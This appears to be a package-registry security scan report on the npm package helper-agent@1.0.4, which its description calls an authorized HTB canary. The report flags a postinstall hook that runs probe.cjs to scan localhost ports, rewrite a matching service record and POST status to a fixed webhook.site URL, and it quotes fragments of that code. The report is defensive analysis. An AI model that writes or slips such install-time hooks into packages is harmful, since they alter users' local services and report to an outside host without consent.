registry / Install hook abuse / helper-agent
helper-agent
Authorized HTB dependency-resolution canary
This report shows the evidence for helper-agent@1.0.4. 3 of 5 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 11d ago · by lpm-firewall-aiThe postinstall hook automatically runs code that writes to a matching local service record and reports status to a fixed external endpoint. This is concrete install-time behavior with effects outside the package, so blocking publication is warranted.
Static reason
One or more suspicious static signals were detected.
Trigger
The npm postinstall hook.
Impact
A matching local service record can be modified during package installation, while installation and write status are disclosed externally.
Mechanism
The script searches localhost for a specific module record, changes its manifest status, writes it back, and reports progress to a fixed webhook.
Attack narrative
The automatic install hook executes a script that searches local APIs and changes the manifest of a narrowly matched module. It also posts lifecycle and operation status markers to a fixed external webhook. The code does not show credential collection, but the install-triggered local mutation and external reporting are concrete behavior.
AI rationale
The postinstall hook automatically runs code that writes to a matching local service record and reports status to a fixed external endpoint. This is concrete install-time behavior with effects outside the package, so blocking publication is warranted.
Evidence
package.jsonprobe.cjs
Network endpoints6
webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481127.0.0.1:1337127.0.0.1:80127.0.0.1:3000127.0.0.1:8080127.0.0.1:5000
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs probe.cjs automatically during installation.
- The probe sends POST callbacks to a fixed webhook and searches several localhost API ports.
- It selects a local record matching a specific module ID and content, then writes a changed manifest back with PUT.
Evidence against
- The local write is gated on a matching module ID and specific record text; no credential collection is shown.
Behavioral surface
Network
HighEntropyStringsUrlStrings
NoLicense
Source & flagged code
7 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node probe.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"postinstall": "node probe.cjs"
},
"license": "UNLICENSE
High
Suspicious Lifecycle Evidence
The postinstall hook runs probe.cjs automatically during installation.
package.jsonView on unpkg · L6probe.cjsView file
•Trigger-reachable fixed external POST callback chain: scripts.postinstall -> probe.cjs
const https = require("node:https");
const WEBHOOK = "https://webhook.site/a4bf0f9f-6d96-46e6-80ac-b76a5329f481";
"http://127.0.0.1:1337",
"http://127.0.0.1:80",
"http://127.0.0.1:3000",
"http://127.0.0.1:8080",
"http://127.0.0.1:5000"
const req = https.request(
High
Trigger Reachable External Post Callback
A manifest entrypoint or package-local install chain reaches a fixed external POST callback.
Findings
7 High1 Medium4 Low
HighInstall Time Lifecycle Scriptspackage.json
HighTrigger Reachable External Post Callbackprobe.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidenceprobe.cjs
HighAi Review Evidenceprobe.cjs
HighAi Review Evidenceprobe.cjs
HighAi Review Evidenceprobe.cjs
MediumNetwork
LowScripts Present
LowHigh Entropy Strings
LowUrl Strings
LowNo License
Affected versions and remediation
This report applies to helper-agent@1.0.4.
The versions list below shows the verdict for each recorded version.
- Avoid installing helper-agent@1.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
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